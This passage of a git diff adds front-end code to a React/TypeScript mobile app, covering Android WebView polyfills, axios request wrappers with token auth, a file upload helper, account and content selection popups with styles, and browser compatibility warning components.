= function (callback, options) { + this.callback = callback; + this.options = options || {}; + this.observers = []; + + this.observe = function (element) { + this.observers.push(element); + // 简单的实现,实际项目中可能需要更复杂的逻辑 + setTimeout(() => { + this.callback([ + { + target: element, + isIntersecting: true, + intersectionRatio: 1, + }, + ]); + }, 100); + }; + + this.unobserve = function (element) { + var index = this.observers.indexOf(element); + if (index > -1) { + this.observers.splice(index, 1); + } + }; + + this.disconnect = function () { + this.observers = []; + }; + }; + } + + // 修复ResizeObserver在Android WebView中的问题 + if (!window.ResizeObserver) { + window.ResizeObserver = function (callback) { + this.callback = callback; + this.observers = []; + + this.observe = function (element) { + this.observers.push(element); + }; + + this.unobserve = function (element) { + var index = this.observers.indexOf(element); + if (index > -1) { + this.observers.splice(index, 1); + } + }; + + this.disconnect = function () { + this.observers = []; + }; + }; + } + + // 修复URLSearchParams在Android WebView中的问题 + if (!window.URLSearchParams) { + window.URLSearchParams = function (init) { + this.params = {}; + + if (init) { + if (typeof init === "string") { + if (init.charAt(0) === "?") { + init = init.slice(1); + } + var pairs = init.split("&"); + for (var i = 0; i < pairs.length; i++) { + var pair = pairs[i].split("="); + var key = decodeURIComponent(pair[0]); + var value = decodeURIComponent(pair[1] || ""); + this.append(key, value); + } + } + } + + this.append = function (name, value) { + if (!this.params[name]) { + this.params[name] = []; + } + this.params[name].push(value); + }; + + this.get = function (name) { + return this.params[name] ? this.params[name][0] : null; + }; + + this.getAll = function (name) { + return this.params[name] || []; + }; + + this.has = function (name) { + return !!this.params[name]; + }; + + this.set = function (name, value) { + this.params[name] = [value]; + }; + + this.delete = function (name) { + delete this.params[name]; + }; + + this.toString = function () { + var pairs = []; + for (var key in this.params) { + if (this.params.hasOwnProperty(key)) { + for (var i = 0; i < this.params[key].length; i++) { + pairs.push( + encodeURIComponent(key) + + "=" + + encodeURIComponent(this.params[key][i]), + ); + } + } + } + return pairs.join("&"); + }; + }; + } + + console.log("Android兼容性polyfill已加载完成"); +} diff --git a/Cunkebao/src/api/common.ts b/Cunkebao/src/api/common.ts new file mode 100644 index 00000000..d6147d80 --- /dev/null +++ b/Cunkebao/src/api/common.ts @@ -0,0 +1,37 @@ +import axios from "axios"; +import { useUserStore } from "@/store/module/user"; + +/** + * 通用文件上传方法(支持图片、文件) + * @param {File} file - 要上传的文件对象 + * @param {string} [uploadUrl='/v1/attachment/upload'] - 上传接口地址 + * @returns {Promise} - 上传成功后返回文件url + */ +export async function uploadFile( + file: File, + uploadUrl: string = "/v1/attachment/upload", +): Promise { + try { + // 创建 FormData 对象用于文件上传 + const formData = new FormData(); + formData.append("file", file); + + // 获取用户token + const { token } = useUserStore.getState(); + + const fullUrl = `${(import.meta as any).env?.VITE_API_BASE_URL || "/api"}${uploadUrl}`; + + // 直接使用 axios 上传文件 + const response = await axios.post(fullUrl, formData, { + headers: { + Authorization: token ? `Bearer ${token}` : undefined, + }, + timeout: 20000, + }); + return response?.data?.data?.url || ""; + } catch (e: any) { + const errorMessage = + e.response?.data?.message || e.message || "文件上传失败"; + throw new Error(errorMessage); + } +} diff --git a/Cunkebao/src/api/request.ts b/Cunkebao/src/api/request.ts new file mode 100644 index 00000000..6394d22e --- /dev/null +++ b/Cunkebao/src/api/request.ts @@ -0,0 +1,90 @@ +import axios, { + AxiosInstance, + AxiosRequestConfig, + Method, + AxiosResponse, +} from "axios"; +import { Toast } from "antd-mobile"; +import { useUserStore } from "@/store/module/user"; +const { token } = useUserStore.getState(); +const DEFAULT_DEBOUNCE_GAP = 1000; +const debounceMap = new Map(); + +const instance: AxiosInstance = axios.create({ + baseURL: (import.meta as any).env?.VITE_API_BASE_URL || "/api", + timeout: 20000, + headers: { + "Content-Type": "application/json", + }, +}); + +instance.interceptors.request.use((config: any) => { + if (token) { + config.headers = config.headers || {}; + config.headers["Authorization"] = `Bearer ${token}`; + } + return config; +}); + +instance.interceptors.response.use( + (res: AxiosResponse) => { + const { code, success, msg } = res.data || {}; + if (code === 200 || success) { + return res.data.data ?? res.data; + } + Toast.show({ content: msg || "接口错误", position: "top" }); + if (code === 401) { + localStorage.removeItem("token"); + const currentPath = window.location.pathname + window.location.search; + if (currentPath === "/login") { + window.location.href = "/login"; + } else { + window.location.href = `/login?redirect=${encodeURIComponent(currentPath)}`; + } + } + return Promise.reject(msg || "接口错误"); + }, + err => { + Toast.show({ content: err.message || "网络异常", position: "top" }); + return Promise.reject(err); + }, +); + +export function request( + url: string, + data?: any, + method: Method = "GET", + config?: AxiosRequestConfig, + debounceGap?: number, +): Promise { + const gap = + typeof debounceGap === "number" ? debounceGap : DEFAULT_DEBOUNCE_GAP; + const key = `${method}_${url}_${JSON.stringify(data)}`; + const now = Date.now(); + const last = debounceMap.get(key) || 0; + if (gap > 0 && now - last < gap) { + // Toast.show({ content: '请求过于频繁,请稍后再试', position: 'top' }); + return Promise.reject("请求过于频繁,请稍后再试"); + } + debounceMap.set(key, now); + + const axiosConfig: AxiosRequestConfig = { + url, + method, + ...config, + }; + + // 如果是FormData,不设置Content-Type,让浏览器自动设置 + if (data instanceof FormData) { + delete axiosConfig.headers?.["Content-Type"]; + } + + if (method.toUpperCase() === "GET") { + axiosConfig.params = data; + } else { + axiosConfig.data = data; + } + return instance(axiosConfig); +} + +export default request; diff --git a/Cunkebao/src/api/request2.ts b/Cunkebao/src/api/request2.ts new file mode 100644 index 00000000..deb3d9bf --- /dev/null +++ b/Cunkebao/src/api/request2.ts @@ -0,0 +1,89 @@ +import axios, { + AxiosInstance, + AxiosRequestConfig, + Method, + AxiosResponse, +} from "axios"; +import { Toast } from "antd-mobile"; +import { useUserStore } from "@/store/module/user"; +const DEFAULT_DEBOUNCE_GAP = 1000; +const debounceMap = new Map(); + +interface RequestConfig extends AxiosRequestConfig { + headers: { + Client?: string; + "Content-Type"?: string; + }; +} + +const instance: AxiosInstance = axios.create({ + baseURL: (import.meta as any).env?.VITE_API_BASE_URL2 || "/api", + timeout: 20000, + headers: { + "Content-Type": "application/json", + Client: "kefu-client", + }, +}); + +instance.interceptors.request.use((config: any) => { + // 在每次请求时动态获取最新的 token2 + const { token2 } = useUserStore.getState(); + if (token2) { + config.headers = config.headers || {}; + config.headers["Authorization"] = `bearer ${token2}`; + } + return config; +}); + +instance.interceptors.response.use( + (res: AxiosResponse) => { + return res.data; + }, + err => { + // 处理401错误,跳转到登录页面 + if (err.response && err.response.status === 401) { + Toast.show({ content: "登录已过期,请重新登录", position: "top" }); + // 获取当前路径,用于登录后跳回 + const currentPath = window.location.pathname + window.location.search; + window.location.href = `/login?returnUrl=${encodeURIComponent(currentPath)}`; + return Promise.reject(err); + } + + Toast.show({ content: err.message || "网络异常", position: "top" }); + return Promise.reject(err); + }, +); + +export function request( + url: string, + data?: any, + method: Method = "GET", + config?: RequestConfig, + debounceGap?: number, +): Promise { + const gap = + typeof debounceGap === "number" ? debounceGap : DEFAULT_DEBOUNCE_GAP; + const key = `${method}_${url}_${JSON.stringify(data)}`; + const now = Date.now(); + const last = debounceMap.get(key) || 0; + if (gap > 0 && now - last < gap) { + // Toast.show({ content: '请求过于频繁,请稍后再试', position: 'top' }); + return Promise.reject("请求过于频繁,请稍后再试"); + } + debounceMap.set(key, now); + + const axiosConfig: RequestConfig = { + url, + method, + ...config, + }; + + if (method.toUpperCase() === "GET") { + axiosConfig.params = data; + } else { + axiosConfig.data = data; + } + return instance(axiosConfig); +} + +export default request; diff --git a/Cunkebao/src/components/AccountSelection/api.ts b/Cunkebao/src/components/AccountSelection/api.ts new file mode 100644 index 00000000..bf069cb8 --- /dev/null +++ b/Cunkebao/src/components/AccountSelection/api.ts @@ -0,0 +1,10 @@ +import request from "@/api/request"; + +// 获取好友列表 +export function getAccountList(params: { + page: number; + limit: number; + keyword?: string; +}) { + return request("/v1/workbench/account-list", params, "GET"); +} diff --git a/Cunkebao/src/components/AccountSelection/data.ts b/Cunkebao/src/components/AccountSelection/data.ts new file mode 100644 index 00000000..c0ce4343 --- /dev/null +++ b/Cunkebao/src/components/AccountSelection/data.ts @@ -0,0 +1,35 @@ +// 账号对象类型 +export interface AccountItem { + id: number; + userName: string; + realName: string; + departmentName: string; + avatar?: string; + [key: string]: any; +} +//弹窗的 +export interface SelectionPopupProps { + visible: boolean; + onVisibleChange: (visible: boolean) => void; + selectedOptions: AccountItem[]; + onSelect: (options: AccountItem[]) => void; + readonly?: boolean; + onConfirm?: (selectedOptions: AccountItem[]) => void; +} + +// 组件属性接口 +export interface AccountSelectionProps { + selectedOptions: AccountItem[]; + onSelect: (options: AccountItem[]) => void; + accounts?: AccountItem[]; // 可选:用于在外层显示已选账号详情 + placeholder?: string; + className?: string; + visible?: boolean; + onVisibleChange?: (visible: boolean) => void; + selectedListMaxHeight?: number; + showInput?: boolean; + showSelectedList?: boolean; + readonly?: boolean; + onConfirm?: (selectedOptions: AccountItem[]) => void; + accountGroups?: any[]; // 传递账号组数据 +} diff --git a/Cunkebao/src/components/AccountSelection/index.module.scss b/Cunkebao/src/components/AccountSelection/index.module.scss new file mode 100644 index 00000000..51eb1af5 --- /dev/null +++ b/Cunkebao/src/components/AccountSelection/index.module.scss @@ -0,0 +1,231 @@ +.inputWrapper { + position: relative; +} +.inputIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + font-size: 20px; +} +.input { + padding-left: 38px !important; + height: 48px; + border-radius: 16px !important; + border: 1px solid #e5e6eb !important; + font-size: 16px; + background: #f8f9fa; +} + +.popupContainer { + display: flex; + flex-direction: column; + height: 100vh; + background: #fff; +} +.popupHeader { + padding: 24px; +} +.popupTitle { + text-align: center; + font-size: 20px; + font-weight: 600; + margin-bottom: 24px; +} +.searchWrapper { + position: relative; + margin-bottom: 16px; +} +.searchInput { + padding-left: 40px !important; + padding-top: 8px !important; + padding-bottom: 8px !important; + border-radius: 24px !important; + border: 1px solid #e5e6eb !important; + font-size: 15px; + background: #f8f9fa; +} +.searchIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + font-size: 16px; +} +.clearBtn { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + height: 24px; + width: 24px; + border-radius: 50%; + min-width: 24px; +} + +.friendList { + flex: 1; + overflow-y: auto; +} +.friendListInner { + border-top: 1px solid #f0f0f0; +} +.friendItem { + display: flex; + align-items: center; + padding: 16px 24px; + border-bottom: 1px solid #f0f0f0; + cursor: pointer; + transition: background 0.2s; + &:hover { + background: #f5f6fa; + } +} +.radioWrapper { + margin-right: 12px; + display: flex; + align-items: center; + justify-content: center; +} +.radioSelected { + width: 20px; + height: 20px; + border-radius: 50%; + border: 2px solid #1890ff; + display: flex; + align-items: center; + justify-content: center; +} +.radioUnselected { + width: 20px; + height: 20px; + border-radius: 50%; + border: 2px solid #e5e6eb; + display: flex; + align-items: center; + justify-content: center; +} +.radioDot { + width: 12px; + height: 12px; + border-radius: 50%; + background: #1890ff; +} +.friendInfo { + display: flex; + align-items: center; + gap: 12px; + flex: 1; +} +.friendAvatar { + width: 40px; + height: 40px; + border-radius: 50%; + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + display: flex; + align-items: center; + justify-content: center; + color: #fff; + font-size: 14px; + font-weight: 500; + overflow: hidden; +} +.avatarImg { + width: 100%; + height: 100%; + object-fit: cover; +} +.friendDetail { + flex: 1; +} +.friendName { + font-weight: 500; + font-size: 16px; + color: #222; + margin-bottom: 2px; +} +.friendId { + font-size: 13px; + color: #888; + margin-bottom: 2px; +} +.friendCustomer { + font-size: 13px; + color: #bdbdbd; +} + +.loadingBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.loadingText { + color: #888; + font-size: 15px; +} +.emptyBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.emptyText { + color: #888; + font-size: 15px; +} + +.paginationRow { + border-top: 1px solid #f0f0f0; + padding: 16px; + display: flex; + align-items: center; + justify-content: space-between; + background: #fff; +} +.totalCount { + font-size: 14px; + color: #888; +} +.paginationControls { + display: flex; + align-items: center; + gap: 8px; +} +.pageBtn { + padding: 0 8px; + height: 32px; + min-width: 32px; +} +.pageInfo { + font-size: 14px; + color: #222; +} + +.popupFooter { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16px; + border-top: 1px solid #f0f0f0; + background: #fff; +} +.selectedCount { + font-size: 14px; + color: #888; +} +.footerBtnGroup { + display: flex; + gap: 12px; +} +.cancelBtn { + padding: 0 24px; + border-radius: 24px; + border: 1px solid #e5e6eb; +} +.confirmBtn { + padding: 0 24px; + border-radius: 24px; +} diff --git a/Cunkebao/src/components/AccountSelection/index.tsx b/Cunkebao/src/components/AccountSelection/index.tsx new file mode 100644 index 00000000..6e19a88b --- /dev/null +++ b/Cunkebao/src/components/AccountSelection/index.tsx @@ -0,0 +1,139 @@ +import React, { useState } from "react"; +import { SearchOutlined, DeleteOutlined } from "@ant-design/icons"; +import { Button, Input } from "antd"; +import style from "./index.module.scss"; +import SelectionPopup from "./selectionPopup"; +import { AccountItem, AccountSelectionProps } from "./data"; + +export default function AccountSelection({ + selectedOptions, + onSelect, + accounts: propAccounts = [], + placeholder = "选择账号", + className = "", + visible, + onVisibleChange, + selectedListMaxHeight = 300, + showInput = true, + showSelectedList = true, + readonly = false, + onConfirm, +}: AccountSelectionProps) { + const [popupVisible, setPopupVisible] = useState(false); + + // 受控弹窗逻辑 + const realVisible = visible !== undefined ? visible : popupVisible; + const setRealVisible = (v: boolean) => { + if (onVisibleChange) onVisibleChange(v); + if (visible === undefined) setPopupVisible(v); + }; + + // 打开弹窗 + const openPopup = () => { + if (readonly) return; + setRealVisible(true); + }; + + // 获取显示文本 + const getDisplayText = () => { + if (selectedOptions.length === 0) return ""; + return `已选择 ${selectedOptions.length} 个账号`; + }; + + // 删除已选账号 + const handleRemoveAccount = (id: number) => { + if (readonly) return; + onSelect(selectedOptions.filter(d => d.id !== id)); + }; + + return ( + <> + {/* 输入框 */} + {showInput && ( +

      + )} + {/* 已选账号列表窗口 */} + {showSelectedList && selectedOptions.length > 0 && ( +
      + {selectedOptions.map(acc => ( +
      +
      + 【{acc.realName}】 {acc.userName} +
      + {!readonly && ( +
      + ))} +
      + )} + {/* 弹窗 */} + + + ); +} diff --git a/Cunkebao/src/components/AccountSelection/selectionPopup.tsx b/Cunkebao/src/components/AccountSelection/selectionPopup.tsx new file mode 100644 index 00000000..7f4fc98a --- /dev/null +++ b/Cunkebao/src/components/AccountSelection/selectionPopup.tsx @@ -0,0 +1,237 @@ +import React, { useEffect, useMemo, useRef, useState } from "react"; +import { Popup } from "antd-mobile"; +import Layout from "@/components/Layout/Layout"; +import PopupHeader from "@/components/PopuLayout/header"; +import PopupFooter from "@/components/PopuLayout/footer"; +import style from "./index.module.scss"; +import { getAccountList } from "./api"; +import { AccountItem, SelectionPopupProps } from "./data"; + +export default function SelectionPopup({ + visible, + onVisibleChange, + selectedOptions, + onSelect, + readonly = false, + onConfirm, +}: SelectionPopupProps) { + const [accounts, setAccounts] = useState([]); + const [searchQuery, setSearchQuery] = useState(""); + const [currentPage, setCurrentPage] = useState(1); + const [totalPages, setTotalPages] = useState(1); + const [totalAccounts, setTotalAccounts] = useState(0); + const [loading, setLoading] = useState(false); + const [tempSelectedOptions, setTempSelectedOptions] = useState( + [], + ); + + // 累积已加载过的账号,确保确认时能返回更完整的对象 + const loadedAccountMapRef = useRef>(new Map()); + + const pageSize = 20; + + const fetchAccounts = async (page: number, keyword: string = "") => { + setLoading(true); + try { + const params: any = { page, limit: pageSize }; + if (keyword.trim()) params.keyword = keyword.trim(); + + const response = await getAccountList(params); + if (response && response.list) { + setAccounts(response.list); + const total: number = response.total || response.list.length || 0; + setTotalAccounts(total); + setTotalPages(Math.max(1, Math.ceil(total / pageSize))); + + // 累积到映射表 + response.list.forEach((acc: AccountItem) => { + loadedAccountMapRef.current.set(acc.id, acc); + }); + } else { + setAccounts([]); + setTotalAccounts(0); + setTotalPages(1); + } + } catch (error) { + console.error("获取账号列表失败:", error); + } finally { + setLoading(false); + } + }; + + const handleAccountToggle = (account: AccountItem) => { + if (readonly || !onSelect) return; + const isSelected = tempSelectedOptions.some(opt => opt.id === account.id); + const next = isSelected + ? tempSelectedOptions.filter(opt => opt.id !== account.id) + : tempSelectedOptions.concat(account); + setTempSelectedOptions(next); + }; + + // 全选当前页 + const handleSelectAllCurrentPage = (checked: boolean) => { + if (readonly) return; + + if (checked) { + // 全选:添加当前页面所有未选中的账号 + const currentPageAccounts = accounts.filter( + account => !tempSelectedOptions.some(a => a.id === account.id), + ); + setTempSelectedOptions(prev => [...prev, ...currentPageAccounts]); + } else { + // 取消全选:移除当前页面的所有账号 + const currentPageAccountIds = accounts.map(a => a.id); + setTempSelectedOptions(prev => + prev.filter(a => !currentPageAccountIds.includes(a.id)), + ); + } + }; + + // 检查当前页是否全选 + const isCurrentPageAllSelected = + accounts.length > 0 && + accounts.every(account => + tempSelectedOptions.some(a => a.id === account.id), + ); + + const handleConfirm = () => { + if (onConfirm) { + onConfirm(tempSelectedOptions); + } + if (onSelect) { + onSelect(tempSelectedOptions); + } + onVisibleChange(false); + }; + + // 弹窗打开时初始化数据 + useEffect(() => { + if (visible) { + setCurrentPage(1); + setSearchQuery(""); + loadedAccountMapRef.current.clear(); + // 复制一份selectedOptions到临时变量 + setTempSelectedOptions([...selectedOptions]); + fetchAccounts(1, ""); + } + }, [visible, selectedOptions]); + + // 搜索防抖 + useEffect(() => { + if (!visible) return; + if (searchQuery === "") return; + const timer = setTimeout(() => { + setCurrentPage(1); + fetchAccounts(1, searchQuery); + }, 500); + return () => clearTimeout(timer); + }, [searchQuery, visible]); + + // 页码变化 + useEffect(() => { + if (!visible) return; + fetchAccounts(currentPage, searchQuery); + }, [currentPage, visible, searchQuery]); + + const selectedIdSet = useMemo( + () => new Set(tempSelectedOptions.map(opt => opt.id)), + [tempSelectedOptions], + ); + + return ( + onVisibleChange(false)} + position="bottom" + bodyStyle={{ height: "100vh" }} + > + fetchAccounts(currentPage, searchQuery)} + /> + } + footer={ + onVisibleChange(false)} + onConfirm={handleConfirm} + isAllSelected={isCurrentPageAllSelected} + onSelectAll={handleSelectAllCurrentPage} + /> + } + > +
      + {loading ? ( +
      +
      加载中...
      +
      + ) : accounts.length > 0 ? ( +
      + {accounts.map(acc => ( + + ))} +
      + ) : ( +
      +
      + {searchQuery + ? `没有找到包含"${searchQuery}"的账号` + : "没有找到账号"} +
      +
      + )} +
      +
      +
      + ); +} diff --git a/Cunkebao/src/components/AndroidCompatibilityCheck.tsx b/Cunkebao/src/components/AndroidCompatibilityCheck.tsx new file mode 100644 index 00000000..55bc0cc0 --- /dev/null +++ b/Cunkebao/src/components/AndroidCompatibilityCheck.tsx @@ -0,0 +1,228 @@ +import React, { useEffect, useState } from "react"; + +interface AndroidCompatibilityInfo { + isAndroid: boolean; + androidVersion: number; + chromeVersion: number; + webViewVersion: number; + issues: string[]; + suggestions: string[]; +} + +const AndroidCompatibilityCheck: React.FC = () => { + const [compatibility, setCompatibility] = useState({ + isAndroid: false, + androidVersion: 0, + chromeVersion: 0, + webViewVersion: 0, + issues: [], + suggestions: [], + }); + + useEffect(() => { + const checkAndroidCompatibility = () => { + const ua = navigator.userAgent; + const issues: string[] = []; + const suggestions: string[] = []; + let isAndroid = false; + let androidVersion = 0; + let chromeVersion = 0; + let webViewVersion = 0; + + // 检测Android系统 + if (ua.indexOf("Android") > -1) { + isAndroid = true; + const androidMatch = ua.match(/Android\s+(\d+)/); + if (androidMatch) { + androidVersion = parseInt(androidMatch[1]); + } + + // 检测Chrome版本 + const chromeMatch = ua.match(/Chrome\/(\d+)/); + if (chromeMatch) { + chromeVersion = parseInt(chromeMatch[1]); + } + + // 检测WebView版本 + const webViewMatch = ua.match(/Version\/\d+\.\d+/); + if (webViewMatch) { + const versionMatch = webViewMatch[0].match(/\d+/); + if (versionMatch) { + webViewVersion = parseInt(versionMatch[0]); + } + } + + // Android 7 (API 24) 兼容性检查 + if (androidVersion === 7) { + issues.push("Android 7 系统对ES6+特性支持不完整"); + suggestions.push("建议升级到Android 8+或使用最新版Chrome"); + } + + // Android 6 (API 23) 兼容性检查 + if (androidVersion === 6) { + issues.push("Android 6 系统对现代Web特性支持有限"); + suggestions.push("强烈建议升级系统或使用最新版Chrome"); + } + + // Chrome版本检查 + if (chromeVersion > 0 && chromeVersion < 50) { + issues.push(`Chrome版本过低 (${chromeVersion}),建议升级到50+`); + suggestions.push("请在Google Play商店更新Chrome浏览器"); + } + + // WebView版本检查 + if (webViewVersion > 0 && webViewVersion < 50) { + issues.push(`WebView版本过低 (${webViewVersion}),可能影响应用功能`); + suggestions.push("建议使用Chrome浏览器或更新系统WebView"); + } + + // 检测特定问题 + const features = { + Promise: typeof Promise !== "undefined", + fetch: typeof fetch !== "undefined", + "Array.from": typeof Array.from !== "undefined", + "Object.assign": typeof Object.assign !== "undefined", + "String.includes": typeof String.prototype.includes !== "undefined", + "Array.includes": typeof Array.prototype.includes !== "undefined", + requestAnimationFrame: typeof requestAnimationFrame !== "undefined", + IntersectionObserver: typeof IntersectionObserver !== "undefined", + ResizeObserver: typeof ResizeObserver !== "undefined", + URLSearchParams: typeof URLSearchParams !== "undefined", + TextEncoder: typeof TextEncoder !== "undefined", + AbortController: typeof AbortController !== "undefined", + }; + + Object.entries(features).forEach(([feature, supported]) => { + if (!supported) { + issues.push(`${feature} 特性不支持`); + } + }); + + // 微信内置浏览器检测 + if (ua.indexOf("MicroMessenger") > -1) { + issues.push("微信内置浏览器对某些Web特性支持有限"); + suggestions.push("建议在系统浏览器中打开以获得最佳体验"); + } + + // QQ内置浏览器检测 + if (ua.indexOf("QQ/") > -1) { + issues.push("QQ内置浏览器对某些Web特性支持有限"); + suggestions.push("建议在系统浏览器中打开以获得最佳体验"); + } + } + + setCompatibility({ + isAndroid, + androidVersion, + chromeVersion, + webViewVersion, + issues, + suggestions, + }); + }; + + checkAndroidCompatibility(); + }, []); + + if (!compatibility.isAndroid || compatibility.issues.length === 0) { + return null; + } + + return ( +
      +
      + 🚨 Android 兼容性警告 +
      + +
      + 系统版本: Android {compatibility.androidVersion} + {compatibility.chromeVersion > 0 && + ` | Chrome: ${compatibility.chromeVersion}`} + {compatibility.webViewVersion > 0 && + ` | WebView: ${compatibility.webViewVersion}`} +
      + +
      +
      + 检测到的问题: +
      +
      + {compatibility.issues.map((issue, index) => ( +
      + • {issue} +
      + ))} +
      +
      + + {compatibility.suggestions.length > 0 && ( +
      +
      + 建议解决方案: +
      +
      + {compatibility.suggestions.map((suggestion, index) => ( +
      + • {suggestion} +
      + ))} +
      +
      + )} + +
      + 💡 应用已启用兼容模式,但建议升级系统以获得最佳体验 +
      + + +
      + ); +}; + +export default AndroidCompatibilityCheck; diff --git a/Cunkebao/src/components/CompatibilityCheck.tsx b/Cunkebao/src/components/CompatibilityCheck.tsx new file mode 100644 index 00000000..563d4242 --- /dev/null +++ b/Cunkebao/src/components/CompatibilityCheck.tsx @@ -0,0 +1,125 @@ +import React, { useEffect, useState } from "react"; + +interface CompatibilityInfo { + isCompatible: boolean; + browser: string; + version: string; + issues: string[]; +} + +const CompatibilityCheck: React.FC = () => { + const [compatibility, setCompatibility] = useState({ + isCompatible: true, + browser: "", + version: "", + issues: [], + }); + + useEffect(() => { + const checkCompatibility = () => { + const ua = navigator.userAgent; + const issues: string[] = []; + let browser = "Unknown"; + let version = "Unknown"; + + // 检测浏览器类型和版本 + if (ua.indexOf("Chrome") > -1) { + browser = "Chrome"; + const match = ua.match(/Chrome\/(\d+)/); + version = match ? match[1] : "Unknown"; + if (parseInt(version) < 50) { + issues.push("Chrome版本过低,建议升级到50+"); + } + } else if (ua.indexOf("Firefox") > -1) { + browser = "Firefox"; + const match = ua.match(/Firefox\/(\d+)/); + version = match ? match[1] : "Unknown"; + if (parseInt(version) < 50) { + issues.push("Firefox版本过低,建议升级到50+"); + } + } else if (ua.indexOf("Safari") > -1 && ua.indexOf("Chrome") === -1) { + browser = "Safari"; + const match = ua.match(/Version\/(\d+)/); + version = match ? match[1] : "Unknown"; + if (parseInt(version) < 10) { + issues.push("Safari版本过低,建议升级到10+"); + } + } else if (ua.indexOf("MSIE") > -1 || ua.indexOf("Trident") > -1) { + browser = "Internet Explorer"; + const match = ua.match(/(?:MSIE |rv:)(\d+)/); + version = match ? match[1] : "Unknown"; + issues.push("Internet Explorer不受支持,建议使用现代浏览器"); + } else if (ua.indexOf("Edge") > -1) { + browser = "Edge"; + const match = ua.match(/Edge\/(\d+)/); + version = match ? match[1] : "Unknown"; + if (parseInt(version) < 12) { + issues.push("Edge版本过低,建议升级到12+"); + } + } + + // 检测ES6+特性支持 + const features = { + Promise: typeof Promise !== "undefined", + fetch: typeof fetch !== "undefined", + "Array.from": typeof Array.from !== "undefined", + "Object.assign": typeof Object.assign !== "undefined", + "String.includes": typeof String.prototype.includes !== "undefined", + "Array.includes": typeof Array.prototype.includes !== "undefined", + }; + + Object.entries(features).forEach(([feature, supported]) => { + if (!supported) { + issues.push(`${feature} 特性不支持`); + } + }); + + setCompatibility({ + isCompatible: issues.length === 0, + browser, + version, + issues, + }); + }; + + checkCompatibility(); + }, []); + + if (compatibility.isCompatible) { + return null; // 兼容时不需要显示 + } + + return ( +
      +
      + 浏览器兼容性警告 +
      +
      + 当前浏览器: {compatibility.browser} {compatibility.version} +
      +
      + {compatibility.issues.map((issue, index) => ( +
      {issue}
      + ))} +
      +
      + 建议使用 Chrome 50+、Firefox 50+、Safari 10+ 或 Edge 12+ +
      +
      + ); +}; + +export default CompatibilityCheck; diff --git a/Cunkebao/src/components/ContentSelection/api.ts b/Cunkebao/src/components/ContentSelection/api.ts new file mode 100644 index 00000000..f7919df0 --- /dev/null +++ b/Cunkebao/src/components/ContentSelection/api.ts @@ -0,0 +1,5 @@ +import request from "@/api/request"; + +export function getContentLibraryList(params: any) { + return request("/v1/content/library/list", { ...params, formType: 0 }, "GET"); +} diff --git a/Cunkebao/src/components/ContentSelection/data.ts b/Cunkebao/src/components/ContentSelection/data.ts new file mode 100644 index 00000000..1bf8fdb8 --- /dev/null +++ b/Cunkebao/src/components/ContentSelection/data.ts @@ -0,0 +1,21 @@ +// 内容库接口类型 +export interface ContentItem { + id: number; + name: string; + [key: string]: any; +} + +// 组件属性接口 +export interface ContentSelectionProps { + selectedOptions: ContentItem[]; + onSelect: (selectedItems: ContentItem[]) => void; + placeholder?: string; + className?: string; + visible?: boolean; + onVisibleChange?: (visible: boolean) => void; + selectedListMaxHeight?: number; + showInput?: boolean; + showSelectedList?: boolean; + readonly?: boolean; + onConfirm?: (selectedItems: ContentItem[]) => void; +} diff --git a/Cunkebao/src/components/ContentSelection/index.module.scss b/Cunkebao/src/components/ContentSelection/index.module.scss new file mode 100644 index 00000000..f877360a --- /dev/null +++ b/Cunkebao/src/components/ContentSelection/index.module.scss @@ -0,0 +1,117 @@ +.inputWrapper { + position: relative; +} +.selectedListWindow { + margin-top: 8px; + border: 1px solid #e5e6eb; + border-radius: 8px; + background: #fff; +} +.selectedListRow { + display: flex; + align-items: center; + padding: 4px 8px; + border-bottom: 1px solid #f0f0f0; + font-size: 14px; +} +.libraryList { + flex: 1; + overflow-y: auto; +} +.libraryListInner { + display: flex; + flex-direction: column; + gap: 12px; + padding: 16px; +} +.libraryItem { + display: flex; + align-items: flex-start; + gap: 12px; + padding: 16px; + border-radius: 12px; + border: 1px solid #f0f0f0; + background: #fff; + cursor: pointer; + transition: background 0.2s; + &:hover { + background: #f5f6fa; + } +} +.checkboxWrapper { + margin-top: 4px; +} +.checkboxSelected { + width: 20px; + height: 20px; + border-radius: 4px; + background: #1677ff; + display: flex; + align-items: center; + justify-content: center; +} +.checkboxUnselected { + width: 20px; + height: 20px; + border-radius: 4px; + border: 1px solid #e5e6eb; + background: #fff; +} +.checkboxDot { + width: 12px; + height: 12px; + border-radius: 2px; + background: #fff; +} +.libraryInfo { + flex: 1; +} +.libraryHeader { + display: flex; + align-items: center; + justify-content: space-between; +} +.libraryName { + font-weight: 500; + font-size: 16px; + color: #222; +} +.typeTag { + font-size: 12px; + color: #1677ff; + border: 1px solid #1677ff; + border-radius: 12px; + padding: 2px 10px; + margin-left: 8px; + background: #f4f8ff; + font-weight: 500; +} +.libraryMeta { + font-size: 12px; + color: #888; +} +.libraryDesc { + font-size: 13px; + color: #888; + margin-top: 4px; +} +.loadingBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.loadingText { + color: #888; + font-size: 15px; +} +.emptyBox { + display: flex; + align-items: center; + justify-content: center; + height: 100px; +} +.emptyText { + color: #888; + font-size: 15px; +} diff --git a/Cunkebao/src/components/ContentSelection/index.tsx b/Cunkebao/src/components/ContentSelection/index.tsx new file mode 100644 index 00000000..eadb64bc --- /dev/null +++ b/Cunkebao/src/components/ContentSelection/index.tsx @@ -0,0 +1,145 @@ +import React, { useState } from "react"; +import { SearchOutlined, DeleteOutlined } from "@ant-design/icons"; +import { Button, Input } from "antd"; +import style from "./index.module.scss"; +import { ContentItem, ContentSelectionProps } from "./data"; +import SelectionPopup from "./selectionPopup"; + +const ContentSelection: React.FC = ({ + selectedOptions, + onSelect, + placeholder = "选择内容库", + className = "", + visible, + onVisibleChange, + selectedListMaxHeight = 300, + showInput = true, + showSelectedList = true, + readonly = false, + onConfirm, +}) => { + // 弹窗控制 + const [popupVisible, setPopupVisible] = useState(false); + const realVisible = visible !== undefined ? visible : popupVisible; + const setRealVisible = (v: boolean) => { + if (onVisibleChange) onVisibleChange(v); + if (visible === undefined) setPopupVisible(v); + }; + + // 打开弹窗 + const openPopup = () => { + if (readonly) return; + setRealVisible(true); + }; + + // 获取显示文本 + const getDisplayText = () => { + if 